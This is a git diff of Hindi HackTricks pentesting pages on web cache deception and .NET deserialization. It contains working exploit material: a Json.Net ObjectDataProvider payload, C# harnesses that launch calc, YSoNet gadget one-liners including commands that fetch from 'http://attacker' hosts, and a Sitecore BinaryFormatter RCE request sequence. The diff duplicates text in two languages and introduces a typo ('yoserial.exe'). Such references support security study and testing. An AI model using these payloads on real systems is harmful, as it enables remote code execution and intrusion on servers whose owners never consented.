उदाहरण में, यह समझाया गया है कि यदि आप एक गैर-मौजूद पृष्ठ लोड करते हैं जैसे _http://www.example.com/home.php/non-existent.css_ तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **हमलावर** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
एक और बहुत साफ उदाहरण इस write-up में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
उदाहरण में बताया गया है कि अगर आप एक non-existent पेज जैसे _http://www.example.com/home.php/non-existent.css_ लोड करते हैं तो _http://www.example.com/home.php_ (यूज़र की sensitive जानकारी के साथ) का content लौटाया जा सकता है और cache server परिणाम को save कर लेगा।\
|
||||
फिर, attacker अपना ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ एक्सेस कर के उन यूज़र्स की confidential information देख सकता है जो पहले उस पेज को एक्सेस कर चुके थे।
|
||||
|
||||
ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के एक्सटेंशन** (_.css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
ध्यान दें कि cache proxy को फाइलों को उनके extension (जैसे _.css_) के आधार पर cache करने के लिए configured होना चाहिए न कि content-type के आधार पर। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का content-type `text/html` होगा न कि `text/css` mime type।
|
||||
|
||||
यहाँ जानें कि कैसे [कैश धोखे के हमले HTTP अनुरोध स्मगलिंग का दुरुपयोग करके करें](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
यहाँ सीखें कि कैसे HTTP Request Smuggling का उपयोग कर Cache Deceptions attacks perform किये जाते हैं: ../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception
|
||||
|
||||
## स्वचालित उपकरण
|
||||
## Automatic Tools
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): URLs की एक सूची में वेब कैश जहर देने की कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए गोलेन स्कैनर।
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner जो URL की list में web cache poisoning vulnerabilities खोजता है और multiple injection techniques को टेस्ट करता है।
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
|
||||
@ -274,6 +291,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,38 +1,38 @@
|
||||
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
# बेसिक .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यह पोस्ट **यह समझने के लिए समर्पित है कि ObjectDataProvider गैजेट का शोषण कैसे किया जाता है** RCE प्राप्त करने के लिए और **कैसे** Serialization पुस्तकालयों **Json.Net और xmlSerializer का दुरुपयोग किया जा सकता है** उस गैजेट के साथ।
|
||||
This post is dedicated to **समझने के लिए कि gadget ObjectDataProvider का कैसे शोषण किया जाता है** ताकि RCE प्राप्त किया जा सके और **कैसे** Serialization लाइब्रेरीज़ **Json.Net और xmlSerializer को उस gadget के साथ दुरुपयोग किया जा सकता है**।
|
||||
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
दस्तावेज़ से: _ObjectDataProvider Class एक ऑब्जेक्ट को लपेटता है और बनाता है जिसे आप एक बाइंडिंग स्रोत के रूप में उपयोग कर सकते हैं।_\
|
||||
हाँ, यह एक अजीब व्याख्या है, तो चलो देखते हैं कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास **एक मनमाना ऑब्जेक्ट लपेटने** की अनुमति देती है, _**MethodParameters**_ का उपयोग करके **मनमाने पैरामीटर सेट करने** के लिए, और फिर **MethodName का उपयोग करके मनमाने ऑब्जेक्ट के मनमाने फ़ंक्शन को कॉल करने** के लिए।\
|
||||
इसलिए, मनमाना **ऑब्जेक्ट** **डेसिरियलाइज करते समय** **पैरामीटर के साथ एक फ़ंक्शन** **निष्पादित** करेगा।
|
||||
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||||
हाँ, ये एक अजीब व्याख्या है, तो आइए देखें कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास किसी भी arbitrary object को **wrap** करने की अनुमति देती है, _**MethodParameters**_ का उपयोग करके **arbitrary parameters set** किए जा सकते हैं, और फिर **MethodName का उपयोग करके arbitrary object के किसी भी function को निर्दिष्ट किए गए parameters के साथ कॉल किया जा सकता है**।\
|
||||
इसलिए, arbitrary **object** **deserialized** होते समय **parameters के साथ एक function execute** करेगा।
|
||||
|
||||
### **यह कैसे संभव है**
|
||||
### **How is this possible**
|
||||
|
||||
**System.Windows.Data** नामस्थान, जो **PresentationFramework.dll** में `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` पर पाया जाता है, वह जगह है जहाँ ObjectDataProvider परिभाषित और कार्यान्वित किया गया है।
|
||||
The **System.Windows.Data** namespace, जो कि **PresentationFramework.dll** में `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` पर मिलता है, वहीं ObjectDataProvider परिभाषित और लागू किया गया है।
|
||||
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy) का उपयोग करके आप उस क्लास का **कोड निरीक्षण** कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे दी गई छवि में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का कोड देख रहे हैं।
|
||||
Using [**dnSpy**](https://github.com/0xd4d/dnSpy) आप उस क्लास का **code inspect** कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे के इमेज में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का code देख रहे हैं
|
||||
|
||||
.png>)
|
||||
|
||||
जैसा कि आप देख सकते हैं जब `MethodName` सेट किया जाता है तो `base.Refresh()` को कॉल किया जाता है, चलो देखते हैं कि यह क्या करता है:
|
||||
जैसा कि आप देख सकते हैं जब `MethodName` सेट किया जाता है तो `base.Refresh()` को कॉल किया जाता है, आइए देखें यह क्या करता है:
|
||||
|
||||
.png>)
|
||||
|
||||
ठीक है, चलो देखते हैं कि `this.BeginQuery()` क्या करता है। `BeginQuery` को `ObjectDataProvider` द्वारा ओवरराइड किया गया है और यह यह करता है:
|
||||
ठीक है, चलिए आगे देखते हैं कि `this.BeginQuery()` क्या करता है। `BeginQuery` को `ObjectDataProvider` द्वारा override किया गया है और यह वही है जो यह करता है:
|
||||
|
||||
.png>)
|
||||
|
||||
ध्यान दें कि कोड के अंत में `this.QueryWorke(null)` को कॉल किया जा रहा है। चलो देखते हैं कि यह क्या निष्पादित करता है:
|
||||
ध्यान दें कि कोड के अंत में यह `this.QueryWorke(null)` को कॉल कर रहा है। आइए देखें यह क्या execute करता है:
|
||||
|
||||
.png>)
|
||||
|
||||
ध्यान दें कि यह `QueryWorker` फ़ंक्शन का पूरा कोड नहीं है लेकिन यह इसके दिलचस्प भाग को दिखाता है: कोड **`this.InvokeMethodOnInstance(out ex);` को कॉल करता है;** यह वह पंक्ति है जहाँ **मेथड सेट को कॉल किया जाता है**।
|
||||
ध्यान दें कि यह function `QueryWorker` का पूरा code नहीं है लेकिन यह उसका रोचक हिस्सा दिखाता है: कोड **`this.InvokeMethodOnInstance(out ex);` को कॉल करता है** — यह वह लाइन है जहाँ **set किया गया method invoke** होता है।
|
||||
|
||||
यदि आप यह जांचना चाहते हैं कि केवल _**MethodName**_ सेट करने पर **यह निष्पादित होगा**, तो आप यह कोड चला सकते हैं:
|
||||
यदि आप जांचना चाहते हैं कि केवल _**MethodName**_ सेट करने पर **वह execute होगा**, तो आप इस कोड को चला सकते हैं:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
ध्यान दें कि आपको `System.Windows.Data` को लोड करने के लिए संदर्भ के रूप में _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ जोड़ने की आवश्यकता है।
|
||||
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
पिछले एक्सप्लॉइट का उपयोग करते समय ऐसे मामले होंगे जहाँ **ऑब्जेक्ट** को _**ObjectDataProvider**_ उदाहरण के रूप में **डिसेरियलाइज** किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, ऑब्जेक्ट को `GetType` का उपयोग करके डिसेरियलाइज किया गया था)। फिर, _ObjectDataProvider_ उदाहरण में लिपटे ऑब्जेक्ट प्रकार के बारे में **कोई जानकारी नहीं होगी** (`Process` उदाहरण के लिए)। आप [DotNetNuke vuln के बारे में अधिक जानकारी यहाँ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) पा सकते हैं।
|
||||
पिछले exploit का उपयोग करते समय ऐसे मामले होंगें जहाँ **object** को _**ObjectDataProvider**_ instance के रूप में **deserialized as** किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, object को `GetType` का उपयोग करके deserialized किया गया था)। तब _ObjectDataProvider_ instance में जो object type encapsulated है उसके बारे में (`Process` जैसे) **कोई जानकारी नहीं होगी**। आप DotNetNuke vuln के बारे में अधिक जानकारी यहाँ पा सकते हैं: https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1
|
||||
|
||||
यह क्लास **दिए गए उदाहरण में लिपटे ऑब्जेक्ट्स के ऑब्जेक्ट प्रकारों को निर्दिष्ट करने** की अनुमति देती है। इसलिए, इस क्लास का उपयोग एक स्रोत ऑब्जेक्ट (_ObjectDataProvider_) को एक नए ऑब्जेक्ट प्रकार में लिपटाने और हमें आवश्यक प्रॉपर्टीज (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_) प्रदान करने के लिए किया जा सकता है।\
|
||||
यह पहले प्रस्तुत किए गए मामले जैसे मामलों के लिए बहुत उपयोगी है, क्योंकि हम **_ObjectDataProvider**_ को एक **_ExpandedWrapper_** उदाहरण के अंदर **लिपटाने** में सक्षम होंगे और **जब डिसेरियलाइज किया जाएगा** तो यह क्लास _**OjectDataProvider**_ ऑब्जेक्ट **बनाएगी** जो _**MethodName**_ में निर्दिष्ट **फंक्शन** को **निष्पादित** करेगी।
|
||||
यह क्लास किसी दिए गए instance में encapsulated objects के **object types को निर्दिष्ट करने** की अनुमति देती है। इसलिए, इस क्लास का उपयोग स्रोत object (_ObjectDataProvider_) को एक नए object type में encapsulate करने और हमें जिन properties की आवश्यकता है उन्हें प्रदान करने के लिए किया जा सकता है (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_)।\
|
||||
यह उन मामलों के लिए बहुत उपयोगी है जैसा कि पहले प्रस्तुत किया गया था, क्योंकि हम _**ObjectDataProvider**_ को एक **_ExpandedWrapper_** instance के अंदर wrap कर सकेंगे और **जब deserialized होगा** यह क्लास _**OjectDataProvider**_ object बनाएगी जो _**MethodName**_ में निर्दिष्ट **function** को **execute** करेगी।
|
||||
|
||||
आप निम्नलिखित कोड के साथ इस व्रैपर की जांच कर सकते हैं:
|
||||
You can check this wrapper with the following code:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
|
||||
In the [official web page](https://www.newtonsoft.com/json) में बताया गया है कि यह लाइब्रेरी **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer** की अनुमति देती है। तो, अगर हम **deserialize the ObjectDataProvider gadget** कर सकें, तो सिर्फ़ एक object को deserialize करके ही हम **RCE** पैदा कर सकते हैं।
|
||||
|
||||
### Json.Net example
|
||||
|
||||
First of all lets see an example on how to **serialize/deserialize** an object using this library:
|
||||
सबसे पहले, आइए देखें कि इस लाइब्रेरी का उपयोग करके किसी object को **serialize/deserialize** कैसे किया जाता है:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
@ -134,9 +134,9 @@ Console.WriteLine(desaccount.Email);
|
||||
```
|
||||
### Json.Net का दुरुपयोग
|
||||
|
||||
[ysoserial.net](https://github.com/pwntester/ysoserial.net) का उपयोग करते हुए मैंने एक्सप्लॉइट बनाया:
|
||||
मैंने [ysoserial.net](https://github.com/pwntester/ysoserial.net) का उपयोग करके exploit बनाया:
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
इस कोड में आप **शोषण का परीक्षण** कर सकते हैं, बस इसे चलाएँ और आप देखेंगे कि एक कैलकुलेटर निष्पादित होता है:
|
||||
इस कोड में आप **test the exploit**, बस इसे चलाएँ और आप देखेंगे कि calc चलाया जाता है:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
## उन्नत .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
|
||||
उपरोक्त ObjectDataProvider + ExpandedWrapper तकनीक केवल उन MANY gadget chains में से एक है जिन्हें **unsafe .NET deserialization** करते समय दुरुपयोग किया जा सकता है। आधुनिक रेड-टीम उपकरण जैसे **[YSoNet](https://github.com/irsdl/ysonet)** (और पुराना [ysoserial.net](https://github.com/pwntester/ysoserial.net)) **तैयार-से-उपयोग करने योग्य दुर्भावनापूर्ण ऑब्जेक्ट ग्राफ़** बनाने की प्रक्रिया को स्वचालित करते हैं, जो दर्जनों gadgets और serialization प्रारूपों के लिए होते हैं।
|
||||
ObjectDataProvider + ExpandedWrapper technique जो ऊपर प्रस्तुत किया गया था, केवल उन कई gadget chains में से एक है जिन्हें तब दुरुपयोग किया जा सकता है जब कोई application **unsafe .NET deserialization** करता है। Modern red-team tooling जैसे **[YSoNet](https://github.com/irsdl/ysonet)** (और पुराने [ysoserial.net](https://github.com/pwntester/ysoserial.net)) दर्जनों gadgets और serialization formats के लिए **ready-to-use malicious object graphs** का निर्माण स्वचालित करते हैं।
|
||||
|
||||
नीचे *YSoNet* के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ है, साथ ही यह भी बताया गया है कि वे कैसे काम करते हैं और payloads उत्पन्न करने के लिए उदाहरण कमांड।
|
||||
नीचे *YSoNet* के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ दिया गया है, साथ ही वे कैसे काम करते हैं और payloads जनरेट करने के उदाहरण commands।
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` रिकॉर्ड को भ्रष्ट करता है ताकि, एक बार सामग्री में आने के बाद, डेलीगेट *किसी भी* हमलावर द्वारा प्रदान किए गए तरीके (जैसे `Process.Start`) की ओर इशारा करे | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग करता है ताकि *बायपास .NET ≥4.8 टाइप-फिल्टरिंग* किया जा सके और सीधे एक प्रदान की गई कक्षा के **constructor** को कॉल किया जा सके या C# फ़ाइल को तात्कालिक रूप से **कंपाइल** किया जा सके | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet` के **legacy XML** प्रतिनिधित्व का लाभ उठाता है ताकि `<ColumnMapping>` / `<DataType>` फ़ील्ड भरकर मनमाने प्रकारों को स्थापित किया जा सके (वैकल्पिक रूप से `--spoofedAssembly` के साथ assembly को फेक करना) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF-सक्षम रनटाइम्स (> .NET 5) पर प्रॉपर्टी गेटर्स को जोड़ता है जब तक कि `System.CodeDom.Compiler.CompilerResults` तक नहीं पहुँचता, फिर *कंपाइल* या `-c` के साथ प्रदान की गई DLL को *लोड* करता है | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (समीक्षा) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग करता है ताकि नियंत्रित तर्कों के साथ एक मनमाना स्थिर विधि को कॉल किया जा सके। YSoNet एक सुविधाजनक `--xamlurl` विकल्प जोड़ता है ताकि दुर्भावनापूर्ण XAML को दूरस्थ रूप से होस्ट किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *आदि.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` में `ScriptBlock` को एम्बेड करता है जो तब निष्पादित होता है जब PowerShell ऑब्जेक्ट को डीसिरियलाइज करता है | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
| **TypeConfuseDelegate** | DelegateSerializationHolder रिकॉर्ड को करप्ट करता है ताकि, एक बार materialised होने पर, delegate किसी भी attacker द्वारा सप्लाई किए गए method की ओर इशारा करे (उदा. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग कर के *bypass .NET ≥4.8 type-filtering* किया जाता है और दिए गए class के **constructor** को सीधे invoke किया जा सकता है या चालू के दौरान C# file को **compile** किया जा सकता है | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet` के **legacy XML** प्रतिनिधित्व का उपयोग करके `<ColumnMapping>` / `<DataType>` फील्ड भरकर arbitrary types instantiate करता है (वैकल्पिक रूप से assembly को `--spoofedAssembly` से फेक कर सकते हैं) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF-enabled runtimes (> .NET 5) पर property getters को chain करता है जब तक कि `System.CodeDom.Compiler.CompilerResults` तक न पहुँच जाए, फिर *compiles* या `-c` के साथ दिए गए DLL को *loads* करता है | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग नियंत्रित arguments के साथ किसी arbitrary static method को call करने के लिए करता है। YSoNet एक सुविधाजनक `--xamlurl` variant जोड़ता है ताकि malicious XAML को remote पर host किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` में `ScriptBlock` embed करता है जो तब execute होता है जब PowerShell उस object को deserialise करता है | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> सभी payloads डिफ़ॉल्ट रूप से **stdout पर लिखे जाते हैं**, जिससे उन्हें अन्य उपकरणों (जैसे ViewState जनरेटर, base64 एन्कोडर्स, HTTP क्लाइंट) में पाइप करना आसान हो जाता है।
|
||||
> डिफ़ॉल्ट रूप से सभी payloads **stdout पर लिखे जाते हैं**, जिससे उन्हें अन्य tooling (उदा. ViewState generators, base64 encoders, HTTP clients) में pipe करना trivial हो जाता है।
|
||||
|
||||
### YSoNet का निर्माण / स्थापना
|
||||
### YSoNet बनाना / इंस्टॉल करना
|
||||
|
||||
यदि *Actions ➜ Artifacts* / *Releases* के तहत कोई पूर्व-निर्मित बाइनरी उपलब्ध नहीं है, तो निम्नलिखित **PowerShell** one-liner एक निर्माण वातावरण स्थापित करेगा, रिपॉजिटरी को क्लोन करेगा और *Release* मोड में सब कुछ संकलित करेगा:
|
||||
यदि *Actions ➜ Artifacts* / *Releases* के अंतर्गत कोई pre-compiled binaries उपलब्ध नहीं हैं, तो निम्न **PowerShell** one-liner एक build environment सेट करेगा, repository को clone करेगा और सब कुछ *Release* mode में compile करेगा:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -216,17 +216,48 @@ cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
संकलित `ysonet.exe` फिर `ysonet/bin/Release/` के तहत पाया जा सकता है।
|
||||
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
|
||||
|
||||
### पहचान और मजबूत करना
|
||||
* **पहचानें** `w3wp.exe`, `PowerShell.exe`, या किसी भी प्रक्रिया के अप्रत्याशित बाल प्रक्रियाएँ जो उपयोगकर्ता-प्रदत्त डेटा को डेसिरियलाइज कर रही हैं (जैसे `MessagePack`, `Json.NET`)।
|
||||
* जब भी पुरानी `BinaryFormatter` / `NetDataContractSerializer` को हटाया नहीं जा सकता है, तब **प्रकार-फिल्टरिंग** (`TypeFilterLevel` = *Full*, कस्टम `SurrogateSelector`, `SerializationBinder`, *आदि*) सक्षम करें और **लागू करें**।
|
||||
* जहाँ संभव हो, **`System.Text.Json`** या **`DataContractJsonSerializer`** पर व्हाइटलिस्ट-आधारित कन्वर्टर्स के साथ माइग्रेट करें।
|
||||
* खतरनाक WPF असेंबली (`PresentationFramework`, `System.Workflow.*`) को उन वेब प्रक्रियाओं में लोड होने से रोकें जिन्हें कभी भी उनकी आवश्यकता नहीं होनी चाहिए।
|
||||
### डिटेक्शन और हार्डनिंग
|
||||
* **पता लगाएँ** `w3wp.exe`, `PowerShell.exe` के अनपेक्षित child processes, या किसी भी प्रोसेस का जो उपयोगकर्ता-प्रदान किए गए डेटा को deserialising कर रहा हो (जैसे `MessagePack`, `Json.NET`)।
|
||||
* सक्षम करें और **type-filtering लागू/अनिवार्य करें** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) जब भी legacy `BinaryFormatter` / `NetDataContractSerializer` हटाया न जा सके।
|
||||
* जहाँ संभव हो, **`System.Text.Json`** या **`DataContractJsonSerializer`** पर स्थानांतरित करें, whitelist-आधारित converters के साथ।
|
||||
* उन वेब प्रक्रियाओं में जिन्हें कभी आवश्यकता नहीं हो, खतरनाक WPF assemblies (`PresentationFramework`, `System.Workflow.*`) को लोड होने से रोकें।
|
||||
|
||||
## वास्तविक दुनिया का sink: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
|
||||
एक व्यवहारिक .NET sink जो प्रमाणीकृत Sitecore XP Content Editor प्रवाहों में पहुँच योग्य है:
|
||||
|
||||
- Sink API: `Sitecore.Convert.Base64ToObject(string)` `new BinaryFormatter().Deserialize(...)` को wrap करता है।
|
||||
- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, जो एक sibling element खोजता है जिसका `id="{iframeId}_inner"` है और `value` attribute पढ़ता है जिसे base64‐encoded serialized data के रूप में माना जाता है। परिणाम को string में cast किया जाता है और HTML में insert किया जाता है।
|
||||
|
||||
Minimal end‑to‑end (authenticated):
|
||||
```
|
||||
// Load HTML into EditHtml session
|
||||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
<html>
|
||||
<iframe id="test" src="poc"></iframe>
|
||||
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
|
||||
</html>
|
||||
|
||||
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
- Gadget: कोई भी BinaryFormatter chain जो string लौटाता है (side‑effects deserialization के दौरान चलते हैं). See YSoNet/ysoserial.net to generate payloads.
|
||||
|
||||
एक पूरा chain जो pre‑auth से शुरू होकर Sitecore में HTML cache poisoning के माध्यम से इस sink तक पहुँचता है:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – मूल PoC उपकरण](https://github.com/pwntester/ysoserial.net)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user